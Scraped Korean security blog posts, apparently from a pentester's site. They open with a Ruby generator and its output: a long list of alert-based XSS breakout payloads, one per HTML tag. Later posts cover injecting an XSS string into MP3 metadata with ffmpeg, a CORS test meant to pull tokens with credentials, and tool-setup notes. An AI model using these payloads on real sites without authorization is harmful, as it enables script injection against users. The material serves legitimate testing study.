'<col><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<colgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<content><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<data><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<datalist><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<del><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<details><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dfn><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dialog><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dir><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<div><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dl><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<em><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<embed><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<fieldset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<figcaption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<figure><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<font><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<footer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<form><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<frame><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<frameset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h1><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h2><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h3><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h4><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h5><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h6><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<head><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<header><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<hgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<hr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<html><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<i><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<iframe><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<img><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<input><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ins><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<isindex><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<kbd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<keygen><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<label><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<legend><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<li><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<link><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<listing><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<main><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<map><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<mark><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<marquee><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<menu><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<menuitem><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<meta><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<meter><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<nav><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<nobr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<noframes><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<noscript><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<object><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ol><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<optgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<option><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<output><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<p><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<param><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<picture><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<plaintext><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<pre><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<progress><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<q><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<rp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<rt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<rtc><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ruby><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<s><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<samp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<script><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<section><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<select><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<shadow><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<slot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<small><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<source><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<spacer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<span><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<strike><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<strong><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<style><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<sub><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<summary><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<sup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<table><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tbody><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<td><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<template><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<textarea><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tfoot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<th><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<thead><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<time><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<title><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<track><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<u><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ul><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<var><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<video><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<wbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<xmp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">']

arr.each do |payload|
  pp = payload.split('>')
  payload = payload.gsub('#{endtag}', pp[0][1..-1])
  payload = payload.gsub('#{starttag}', "'"+pp[0][1..-1].to_s+"'")
  p payload
end
이렇게 HTML 태그 리스트로 뽑아낼 수 있습니다. 여기서 중점은 한번에 테스트 시 DOM이 깨져서 제대로된 결과를 얻을 수 없습니다. 셀리니움끼고 구현해서 정확한 값을 얻어와야겠네요. (다음시간에 할래요 귀찮…)
output
<a><p title="</a><svg/onload=alert('a')>">
<abbr><p title="</abbr><svg/onload=alert('abbr')>">
<acronym><p title="</acronym><svg/onload=alert('acronym')>">
<address><p title="</address><svg/onload=alert('address')>">
<applet><p title="</applet><svg/onload=alert('applet')>">
<area><p title="</area><svg/onload=alert('area')>">
<article><p title="</article><svg/onload=alert('article')>">
<aside><p title="</aside><svg/onload=alert('aside')>">
<audio><p title="</audio><svg/onload=alert('audio')>">
<b><p title="</b><svg/onload=alert('b')>">
<base><p title="</base><svg/onload=alert('base')>">
<basefont><p title="</basefont><svg/onload=alert('basefont')>">
<bdi><p title="</bdi><svg/onload=alert('bdi')>">
<bdo><p title="</bdo><svg/onload=alert('bdo')>">
<bgsound><p title="</bgsound><svg/onload=alert('bgsound')>">
<big><p title="</big><svg/onload=alert('big')>">
<blink><p title="</blink><svg/onload=alert('blink')>">
<blockquote><p title="</blockquote><svg/onload=alert('blockquote')>">
<body><p title="</body><svg/onload=alert('body')>">
<br><p title="</br><svg/onload=alert('br')>">
<button><p title="</button><svg/onload=alert('button')>">
<canvas><p title="</canvas><svg/onload=alert('canvas')>">
<caption><p title="</caption><svg/onload=alert('caption')>">
<center><p title="</center><svg/onload=alert('center')>">
<cite><p title="</cite><svg/onload=alert('cite')>">
<code><p title="</code><svg/onload=alert('code')>">
<col><p title="</col><svg/onload=alert('col')>">
<colgroup><p title="</colgroup><svg/onload=alert('colgroup')>">
<content><p title="</content><svg/onload=alert('content')>">
<data><p title="</data><svg/onload=alert('data')>">
<datalist><p title="</datalist><svg/onload=alert('datalist')>">
<dd><p title="</dd><svg/onload=alert('dd')>">
<del><p title="</del><svg/onload=alert('del')>">
<details><p title="</details><svg/onload=alert('details')>">
<dfn><p title="</dfn><svg/onload=alert('dfn')>">
<dialog><p title="</dialog><svg/onload=alert('dialog')>">
<dir><p title="</dir><svg/onload=alert('dir')>">
<div><p title="</div><svg/onload=alert('div')>">
<dl><p title="</dl><svg/onload=alert('dl')>">
<dt><p title="</dt><svg/onload=alert('dt')>">
<em><p title="</em><svg/onload=alert('em')>">
<embed><p title="</embed><svg/onload=alert('embed')>">
<fieldset><p title="</fieldset><svg/onload=alert('fieldset')>">
<figcaption><p title="</figcaption><svg/onload=alert('figcaption')>">
<figure><p title="</figure><svg/onload=alert('figure')>">
<font><p title="</font><svg/onload=alert('font')>">
<footer><p title="</footer><svg/onload=alert('footer')>">
<form><p title="</form><svg/onload=alert('form')>">
<frame><p title="</frame><svg/onload=alert('frame')>">
<frameset><p title="</frameset><svg/onload=alert('frameset')>">
<h1><p title="</h1><svg/onload=alert('h1')>">
<h2><p title="</h2><svg/onload=alert('h2')>">
<h3><p title="</h3><svg/onload=alert('h3')>">
<h4><p title="</h4><svg/onload=alert('h4')>">
<h5><p title="</h5><svg/onload=alert('h5')>">
<h6><p title="</h6><svg/onload=alert('h6')>">
<head><p title="</head><svg/onload=alert('head')>">
<header><p title="</header><svg/onload=alert('header')>">
<hgroup><p title="</hgroup><svg/onload=alert('hgroup')>">
<hr><p title="</hr><svg/onload=alert('hr')>">
<html><p title="</html><svg/onload=alert('html')>">
<i><p title="</i><svg/onload=alert('i')>">
<iframe><p title="</iframe><svg/onload=alert('iframe')>">
<img><p title="</img><svg/onload=alert('img')>">
<input><p title="</input><svg/onload=alert('input')>">
<ins><p title="</ins><svg/onload=alert('ins')>">
<isindex><p title="</isindex><svg/onload=alert('isindex')>">
<kbd><p title="</kbd><svg/onload=alert('kbd')>">
<keygen><p title="</keygen><svg/onload=alert('keygen')>">
<label><p title="</label><svg/onload=alert('label')>">
<legend><p title="</legend><svg/onload=alert('legend')>">
<li><p title="</li><svg/onload=alert('li')>">
<link><p title="</link><svg/onload=alert('link')>">
<listing><p title="</listing><svg/onload=alert('listing')>">
<main><p title="</main><svg/onload=alert('main')>">
<map><p title="</map><svg/onload=alert('map')>">
<mark><p title="</mark><svg/onload=alert('mark')>">
<marquee><p title="</marquee><svg/onload=alert('marquee')>">
<menu><p title="</menu><svg/onload=alert('menu')>">
<menuitem><p title="</menuitem><svg/onload=alert('menuitem')>">
<meta><p title="</meta><svg/onload=alert('meta')>">
<meter><p title="</meter><svg/onload=alert('meter')>">
<nav><p title="</nav><svg/onload=alert('nav')>">
<nobr><p title="</nobr><svg/onload=alert('nobr')>">
<noframes><p title="</noframes><svg/onload=alert('noframes')>">
<noscript><p title="</noscript><svg/onload=alert('noscript')>">
<object><p title="</object><svg/onload=alert('object')>">
<ol><p title="</ol><svg/onload=alert('ol')>">
<optgroup><p title="</optgroup><svg/onload=alert('optgroup')>">
<option><p title="</option><svg/onload=alert('option')>">
<output><p title="</output><svg/onload=alert('output')>">
<p><p title="</p><svg/onload=alert('p')>">
<param><p title="</param><svg/onload=alert('param')>">
<picture><p title="</picture><svg/onload=alert('picture')>">
<plaintext><p title="</plaintext><svg/onload=alert('plaintext')>">
<pre><p title="</pre><svg/onload=alert('pre')>">
<progress><p title="</progress><svg/onload=alert('progress')>">
<q><p title="</q><svg/onload=alert('q')>">
<rp><p title="</rp><svg/onload=alert('rp')>">
<rt><p title="</rt><svg/onload=alert('rt')>">
<rtc><p title="</rtc><svg/onload=alert('rtc')>">
<ruby><p title="</ruby><svg/onload=alert('ruby')>">
<s><p title="</s><svg/onload=alert('s')>">
<samp><p title="</samp><svg/onload=alert('samp')>">
<script><p title="</script><svg/onload=alert('script')>">
<section><p title="</section><svg/onload=alert('section')>">
<select><p title="</select><svg/onload=alert('select')>">
<shadow><p title="</shadow><svg/onload=alert('shadow')>">
<slot><p title="</slot><svg/onload=alert('slot')>">
<small><p title="</small><svg/onload=alert('small')>">
<source><p title="</source><svg/onload=alert('source')>">
<spacer><p title="</spacer><svg/onload=alert('spacer')>">
<span><p title="</span><svg/onload=alert('span')>">
<strike><p title="</strike><svg/onload=alert('strike')>">
<strong><p title="</strong><svg/onload=alert('strong')>">
<style><p title="</style><svg/onload=alert('style')>">
<sub><p title="</sub><svg/onload=alert('sub')>">
<summary><p title="</summary><svg/onload=alert('summary')>">
<sup><p title="</sup><svg/onload=alert('sup')>">
<table><p title="</table><svg/onload=alert('table')>">
<tbody><p title="</tbody><svg/onload=alert('tbody')>">
<td><p title="</td><svg/onload=alert('td')>">
<template><p title="</template><svg/onload=alert('template')>">
<textarea><p title="</textarea><svg/onload=alert('textarea')>">
<tfoot><p title="</tfoot><svg/onload=alert('tfoot')>">
<th><p title="</th><svg/onload=alert('th')>">
<thead><p title="</thead><svg/onload=alert('thead')>">
<time><p title="</time><svg/onload=alert('time')>">
<title><p title="</title><svg/onload=alert('title')>">
<tr><p title="</tr><svg/onload=alert('tr')>">
<track><p title="</track><svg/onload=alert('track')>">
<tt><p title="</tt><svg/onload=alert('tt')>">
<u><p title="</u><svg/onload=alert('u')>">
<ul><p title="</ul><svg/onload=alert('ul')>">
<var><p title="</var><svg/onload=alert('var')>">
<video><p title="</video><svg/onload=alert('video')>">
<wbr><p title="</wbr><svg/onload=alert('wbr')>">
<xmp><p title="</xmp><svg/onload=alert('xmp')>">

next time.... im tired

Share: | Coffee Me:

4/10/2019

How to set custom metasploit banner, 2way(메타스플로잇에서 커스텀 배너 만들기 2가지)

메타스플로잇에서 커스텀 배너를 만드는 2가지 방법입니다. 별거 없어요..

1. Set MSFLOGO Env

$ export MSFLOGO=~/test/logo.txt

2. Use Resource-Script

2번째는 Resource-script를 이용한 방법인데요, msf 실행 시 resource script를 로드시키거나, banner 명령과 resource script를 매핑시켜서 마치 banner가 변경된 것 처럼 바꿀 수 있습니다.

<ruby>
system("clear")
puts ""
puts "your logo"
puts " - - - <> EXPLOIT[#{framework.stats.num_exploits}] / PAYLOAD[#{framework.stats.num_payloads}]"
puts " - - - <> AUXILIARY[#{framework.stats.num_auxiliary}] / POST[#{framework.stats.num_post}]"
puts " - - - <> ENCODERS[#{framework.stats.num_encoders}] / NOPS[#{framework.stats.num_nops}]"
puts ""
</ruby>

이 방법의 장점은 ruby 구문을 쓸 수 있기 때문에 metasploit-framework의 기능들(위에선 현재 로드된 exploit, auxiliary, encoders 등등 의 갯수)을 사용할 수 있어 좀 더 멋진 배너를 만들 수 있습니다.

Reference

https://www.hahwul.com/2017/07/metasploit-make-custom-msfconsole-with.html
Share: | Coffee Me:

Access-Control-Allow-Origin가 wildcard(*)일 때 왜 인증정보를 포함한 요청은 실패하는가(why failed get data with cors policy and wildcard)

CORS가 * 로 되어있길래 이를 이용해서 중요 토큰을 가져오고 그 값을 기반으로 CSRF나 XSS에 활용하려는 코드로 테스트하던 중 이런 에러를 만났습니다.

[ Test code ]
$.ajax({
    url: "http://~~~~~~~",
    type: "post",
    data:
        {"blhablha":"blahblha"}
    ,
    headers: {
        "Accept":"*/*",
        "Accept-Language":"ko-KR;q=1",
        "Content-Type":"application/x-www-form-urlencoded"
    },
    xhrFields: {
        withCredentials: true
    },
    success: function (data) {
        console.info(data);
    }
});

[ Result ]

교차 출처 요청 차단: 동일 출처 정책으로 인해 ‘https://~~~~~~~’에 있는 원격 자원을 차단하였습니다. (원인: CORS 헤더 ‘Access-Control-Allow-Origin’이 ‘*’이면 자격 증명이 지원되지 않음)

음? 분명히 Access-Control-Allow-Origin은 *로 되어있는데 왜 안되는거지?

Access-Control-Allow-Origin: *




혹시나 Firefox 문제인가 싶어 크로미움 엔진의 Brave에서 테스트해봐도, 결과는 동일했습니다.

Access to XMLHttpRequest at 'https://~~~~~' from origin 'http://127.0.0.1' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

이게 뭐여… 분명 뭔가있다! 그래서 뒤적뒤적 찾다보니 재미있는 사실을 하나 알았느데요..
CORS 사용 시 정책적으로 wildcard만 있는 경우 인증 데이터를 사용하지 못하도록 제제하고 있는 것입니다. 관련 내용은 아래 링크에서 대충 확인할 수 있습니다.

https://developer.mozilla.org/ko/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials

결국은 제 코드 기준으론 이 부분이 문제가 된건데요.

    xhrFields: {
        withCredentials: true
    }

CORS를 로 주고 withCredentials를 안쓰는, 즉 쿠키를 가지고 인증을 하지 않는다면 JSON 요청에서 중요한 값을 가져오기는 좀 어려워 보입니다. 쿠키 기반의 인증을 수행하면서 여러 크로스 도메인간 요청이 필요한 기능이라면 .~~.com 으로 지정하는 것 보다, 그냥 * 하나를 주는게 더 안전할 수 있곘네요.
Share: | Coffee Me:

4/06/2019

robots.txt에 대해 제대로 알아보자. (What is robots.txt?)

이번 금요일에 친한 동생이랑 robots.txt 가지고 이야기 하다보니 제가 정확하게 모르고 있던 부분들이 있었더군요.

사건의 발단

그래서.. 정리도 해볼겸 블로그 글로 작성해봅니다.

robots.txt란?

robots.txt는 웹 크롤러들이 접근하지 못하도록 제한하는 규약입니다.
물론 프로토콜이라고 하기엔 강제성을 띄진 않기 때문에(robots.txt가 있어도 크롤러가 무시하도록 개발되었다면 상관 안합니다.) 어렵고, 그냥 서로서로 지키자 정도의 규칙이죠.

보통 접근하지 말아야할 경로가 들어가게 됩니다. 일반 웹 사이트들은 검색 엔젠에 최대한 노출이 잘 되는게 목표라 중요하지 않을 것 같지만, 불필요한 페이지들은 크롤링 제한을 해주어 양질의 데이터가 검색 서비스에 노출되도록 하는게 상위 노출을 위해서 좋은 방법이기 때문에 robots.txt는 많은 사이트들이 적용하고 있는 부분입니다.

저도 비슷하죠.

$ curl -i -k https://www.hahwul.com/robots.txt
HTTP/2 200
content-type: text/plain; charset=UTF-8
expires: Sat, 06 Apr 2019 13:22:29 GMT
date: Sat, 06 Apr 2019 13:22:29 GMT
cache-control: private, max-age=86400
last-modified: Fri, 05 Apr 2019 01:08:54 GMT
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
server: GSE
accept-ranges: none
vary: Accept-Encoding

User-agent: Mediapartners-Google
Disallow:

User-agent: *
Disallow: /search
Allow: /

Sitemap: https://www.hahwul.com/sitemap.xml
(/search 잡히면 글 갯수가 어마어마해질겁니다.......)

의문점과 답안

그날 이야기됬던 논점은 이렇습니다.

“robots.txt 에서 User-Agent가 명시되지 않으면 모든 UA 차단인가?”


먼저 답을 드리자면, 아닙니다.

robots.txt는 최소 하나 이상의 규칙이 있어야 적용되고, 규칙은 하위 2개의 필수 규칙으로 이루어집니다.

User-agent: [차단할 UA]
Disallow: [Disallow, Allow 할 경로]

어떤 User-Agent를 걸러낼지, 어떻게 처리할지(Disallow, Allow)+경로이죠.
조건이 부족하기 때문에 비정상적인 규칙으로 판단하고, 보통의 웹 크롤러들은 이를 무시합니다.
(물론 크롤러마다 다를수도 있어요, 구글 크롤러 기준입니다)

규칙과 적용 범위

robots.txt는 Robots exclusion standard를 다릅니다. 자세한건 아래 링크 한번 읽어보시면 좋습니다.
(https://en.wikipedia.org/wiki/Robots_exclusion_standard)

자 그러면 각 규칙들을 알아봅시다.

(필수) User-agent: "HTTP Request 내 걸러내야할 User-Agent 헤더를 의미합니다."
(필수) Disallow(Allow 중 하나는 필수): "User-agent가 맞을 떄 처리하는 방식입니다. 인자값? 으로 경로를 제공하죠."
(필수) Allow(Disallow 중 하나는 필수): "위와 동일"
(옵션) Sitemap: "웹 사이트의 전체 링크 구조를 가진 사이트맵을 명시합니다. 이를 기준으로 웹 크롤러가 사이트 전체 데이터를 판단합니다."

이 중 Disallow, Allow는 두번째 값으로 경로를 두어 처리하는데, 경로에 $가 붙으면 해당 문자로 끝나는 모든 경로를 차단합니다.

User-agent: ABCD
Disallow /allow-dir/*.rb$
Allow /allow-dir

위와 같은 규칙이 있다고 하면 ABCD의 UA 중 allow-dir 내 .rb 파일은 모두 차단하고, 나머지는 모두 접근 가능하도록 설정됩니다.

두번째로는 적용 범위인데, robots.txt가 위치한 도메인이나 path에 따라 적용 가능한 범위가 달라집니다.
딱 5개만 알고 가시면 됩니다.

1. 도메인은 정확하게 체크됨
 + https://www.hahwul.com 적용 시 www 도메인만 적용됨
2. 경로의 최상위 디렉토리에만 유효
 + /test/robots.txt는 적용되지 않음
3. 프로토콜(http, https ,ftp 등..)도 정확하게 따짐
 + http://www.hahwul.com으로 적용 시 https://www.hahwul.com은 적용받지 않음)
4. 포트도 정확하게 걸러냄
 + https://www.hahwul.com 적용 시 https://www.hahwul.com:8080은 무효
 + 단 80,443 같이 프로토콜의 기본 포트는 예외됨(http://hahwul.com:80 == http://hahwul.com)
5. IDN은 동일한 구간으로 봄
 + https://www.hahwül.com 시 https://www.hahwül.com , https://www.xn--hahwl-mva.com

Conclusion

아주 기초적인 내용이지만, 관심 가지지 않으면 쉽게 지나칠 수 있는 부분인 것 같습니다.
덕분에 좀 찾아보고 공부하게 됬네요. 하나라도 더 알고 계시면 분명 언젠가는 쓰일 수 있으니 가볍게 읽어주셨으면 합니다 :)
Share: | Coffee Me:

4/05/2019

MacOS에서 Proxy 설정하기(How to set proxy on MacOS for ZAP, Burp)

MacOS에서 프록시 설정하는 방법 메모해둘까 합니다.
사실 뭐 별다른건 아니고.. 다른 OS에서 직접 설정하는 것과 동일합니다. 다만 MacOS의 경우 좀 더 On/Off가 쉬운 편이라 별도의 프로그램이 필요하단 느낌을 받진 않았네요.

네트워크 설정에서 HTTP/HTTPS Proxy 설정하기(Set system proxy)

네트워크 설정 메뉴에 들어가시면 현재 연결된 네트워크 정보에 고급 부분이 있습니다.
여기서 프록시 탭을 보면 여러가지 설정들이 있는데, HTTP, HTTPS에 대한 프록시 설정 후 체크해주시고, 창 나와서 적용 눌러주시면 바로 반영됩니다. 


시스템 프록시이기 때문에 어플리케이션~시스템 자체에서 발생하는 웹 요청까지 싹 잡히게 됩니다. 

(네트워크 > 고급 > 프록시 > 웹 프록시 , 보안 웹 프록시 설정)

CA 인증서 등록하기(Add CA Certificate to Mac)

인증서 등록 안하면 https 요청이 제대로 안잡힙니다. (당연한 내용)
그래서 각 분석툴에서 제공하는 CA Cert를 시스템에 등록시켜줘야 합니다. 안드로이드나 iOS는 따로 설정하는 메뉴들이 있었는데, 맥은 별다른게 없습니다. 

그냥 키체인에 CA Cert 추가해주시는걸로 적용이 가능합니다.
로그인 항목 > 인증서 부분에 다운받은 CA Cert를 넣어주시고, 상태에서 신뢰로 바꿔주시면 됩니다. 




음.. 사실 글 쓸 내용거리는 아닌데, 솔직히 이야기드리면 IFTTT 테스트 겸 작성해봤습니다 : )
( 이 모든게 테스트를 위한..ㅋㅋ )

오... 글 바로 올라가네



Share: | Coffee Me:

ffmpeg를 이용한 mp3 파일 metadata 수정하기(Edit metadata in mp3 using ffmpeg)

테스트 중 mp3 파일에 metadata 편집할일이 있어서 exiftool로 수정하는데 이런 에러가 났습니다.

$ exiftool -artist=“hahwul<br>11" a.mp3
Error: Writing of MP3 files is not yet supported - a.mp3
    0 image files updated
    1 files weren't updated due to errors


지원 안한다고?? 그래서 찾아보니… 정말 지원 대상이 아니더군요.
https://www.sno.phy.queensu.ca/~phil/exiftool/



그래서 고민하다가 이참에 ffmpeg도 되나 싶어 찾아보니 가능하더라구요.
(예전에 취약점 때문에 보던걸 이런식으로 사용하게 될줄이야..)

간략하게 어떻게 확인하는지 정리해봅니다.

How to Install?

brew, apt, yum 등 패키지 관리자는 정말 좋은 것 같습니다. brew로 쉽게 설치 가능해요.
(단 디펜던시가 좀 많아서… 오래걸립니다)

$ brew install ffmpeg


진짜많다...

Edit mp3 metadata with ffmpeg

우선 대략적으로 실행 패턴과 옵션 정리를 먼저 해보면…

$ ffmpeg -i inputfile -metadata title="제목" outputfile

-i : 입력파일(즉 metadata를 변경할 파일)
-metadata : metadata 수정 옵션으로 하위 값으로 metadata 이름과 값이 들어갑니다.

음.. 뭐 별거없네요…

$ ffmpeg -i test.mp3 -metadata title="asdf<svg/onload=alert(45)>" -metadata Lyrics="this is lyrics<br>asd" inject_test.mp3



exiftool로 잘 됬나 봐보면…

$ exiftool inject_test.mp3
ExifTool Version Number         : 11.30
File Name                       : 123.mp3
Directory                       : .
File Size                       : 3.4 MB
File Modification Date/Time     : 2019:04:04 23:57:36+09:00
File Access Date/Time           : 2019:04:04 23:57:33+09:00
File Inode Change Date/Time     : 2019:04:04 23:57:36+09:00
File Permissions                : rw-r--r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
MPEG Audio Version              : 1
Audio Layer                     : 3
Audio Bitrate                   : 64 kbps
Sample Rate                     : 44100
Channel Mode                    : Stereo
MS Stereo                       : Off
Intensity Stereo                : Off
Copyright Flag                  : False
Original Media                  : False
Emphasis                        : None
ID3 Size                        : 175
Title                           : asdf<svg/onload=alert(45)>
Artist                          : Silent Partner
Album                           : YouTube Audio Library
Genre                           : Pop
User Defined Text               : (USLT) asdf<br>asdf
Encoder Settings                : Lavf58.20.100
Duration                        : 0:07:27 (approx)




ffmpeg metadata list 

(https://wiki.multimedia.cx/index.php/FFmpeg_Metadata#QuickTime.2FMOV.2FMP4.2FM4A.2Fet_al.)
KeyiTunes fieldLow-level identifier
"title"Name'\251nam'
"author"Artist'\251ART'
"album_artist"Album Artist'aART'
"album"Album'\251alb'
"grouping"Grouping'\251grp'
"composer"Composer'\251wrt'
"year"Year'\251day'
"track"Track Number'trkn'
"comment"Comments'\251cmt'
"genre"Genre'\251gen'
"copyright"??'\251cpy'
"description"Description'desc'
"synopsis"Information dialog when selecting "Show Description" in context menu'ldes'
"show"Show'tvsh'
"episode_id"Episode ID'tven'
"network"??'tvnn'
"lyrics"Lyrics'\251lyr'
Share: | Coffee Me:

4/04/2019

Get cookie value in Javascript function

Javascript 에서 쿠키 값 가져오는 함수입니다. 자주쓰는데, 따로 정리 안해두니 삽질하는 것 같네요..
메모 차 글 작성합니다. 코드스니핏!

function gCookie(cookie)
{
    var cookiestr=RegExp(""+cookie+"[^;]+").exec(document.cookie);
    return decodeURIComponent(!!cookiestr ? cookiestr.toString().replace(/^[^=]+./,"") : "");
}
Share: | Coffee Me:

4/03/2019

Brave Browser Review (보안/속도/새로운시도? 그리고 생각보다 좋음)

최근에 브라우저 하나를 접했습니다.

바로 Brave라는 웹 브라우저인데요, 솔직히 지금까지 쓰던 오페라를 한번에 밀어내고 Firefox와 함께 주력 브라우저로 자리매김했네요.

오늘은 Brave 브라우저에 대한 리뷰, 저의 생각을 이야기드릴까 합니다.

Brave Browser?

우선 Brave software에서 2016년부터 서비스(개발자버전부터..)되고 있는 웹 브라우저로 크로미움 엔진을 사용하고 있습니다.(과거에는 다른 엔진이였는데, 교체했나봐요. 솔직히 요즘은 크로미움아닌 브라우저는 거의 없다고 보죠..)

아무튼 이 브라우저의 취지(?), 목표는 정보를 보호하고 빠른 웹 브라우징을 지원하는데 있다고 합니다. 그래서 그런지 주요 기능들 또한 보안과 속도에 관련된 부분들이 많습니다.

“We’re reinventing the browser as a user-first platform for speed, privacy, better ads, and beyond”

Windows, Linux, Macos, iOS, aOS 등등 대다수 환경을 지원합니다. 그리고.. 로고는 사자 모양이네요 :)


주요 기능 리뷰

우선 설명에 나와있거나 제가 느꼈던 주요 기능들은 이렇습니다.

1. 광고/추적 차단

기본적으로 광고랑 추적 관련 모듈에 대해 차단하고 있습니다. Add block을 사용하는 사람이 많아졌기 떄문에 브라우저단에서 제공하면 좀 더 깔끔한 웹 서핑을 할 수 있죠. 다만 이게 장점으로 보기엔 조금 애매한게, 다른 브라우저들도 지원하고 있는 기능들입니다. (디폴트냐 아니냐 차이..)

